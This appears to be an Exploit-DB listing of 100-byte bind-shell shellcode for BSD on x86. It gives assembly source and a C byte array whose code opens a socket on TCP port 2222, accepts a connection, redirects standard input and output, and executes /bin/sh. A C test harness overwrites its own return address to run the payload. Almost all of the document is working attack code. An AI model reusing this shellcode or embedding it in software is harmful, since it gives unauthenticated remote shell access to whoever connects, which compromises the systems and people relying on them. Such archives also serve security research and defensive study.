BSD/x86 - Bind (2222/TCP) Shell Shellcode (100 bytes)

EDB-ID:

43629

CVE:

N/A


Author:

dev0id


Platform:

BSD_x86

Date:

2009-01-01


/* The bind shellcode that opens the shell on 2222nd port
   Size    100 bytes
   OS	   *BSD
  		/rootteam/dev0id	(rootteam.void.ru)
			dev0id@uncompiled.com 


BITS	32
	
main:
	xor	eax,eax
	push byte	0x06
	push byte	0x01
	push byte	0x02
	mov	al,0x61 
	push	eax
	int	0x80
	mov	edx,eax
	xor	eax,eax
	push	eax
	push long 0xAE0802ff
	mov	eax,esp
	push byte	0x10
	push	eax
	push	edx
	xor	eax,eax
	mov	al,0x68
	push	eax
	int	0x80
	push byte	0x1
	push	edx
	xor	eax,eax
	mov	al,0x6a
	push	eax
	int	0x80
	xor	eax,eax
	push	eax
	push 	eax
	push	edx
	mov	al,0x1e
	push	eax
	int	0x80
	mov	cl,3
	mov	ebx,-1
	mov	edx,eax
main_loop:
	inc	ebx
	push	ebx
	push	edx
	mov	al,0x5a
	push	eax
	int	0x80
	dec	cl
	jnz	main_loop
	xor	eax,eax
	push	eax
	push long	0x68732f6e
	push long 	0x69622f2f
	mov	ebx,esp
	push	eax
	push	esp
	push	ebx
	mov	al,0x3b
	push	eax
	int	0x80

*/

char shellcode[] =
	"\x31\xc0\x6a\x06\x6a\x01\x6a\x02\xb0\x61\x50\xcd\x80\x89\xc2"
	"\x31\xc0\x50\x68\xff\x02\x08\xae\x89\xe0\x6a\x10\x50\x52\x31"
	"\xc0\xb0\x68\x50\xcd\x80\x6a\x01\x52\x31\xc0\xb0\x6a\x50\xcd"
	"\x80\x31\xc0\x50\x50\x52\xb0\x1e\x50\xcd\x80\xb1\x03\xbb\xff"
	"\xff\xff\xff\x89\xc2\x43\x53\x52\xb0\x5a\x50\xcd\x80\xfe\xc9"
	"\x75\xf4\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69"
	"\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80";
int
main(void)
{
	int *ret;
	ret = (int*)&ret + 2;
	(*ret) = shellcode;
}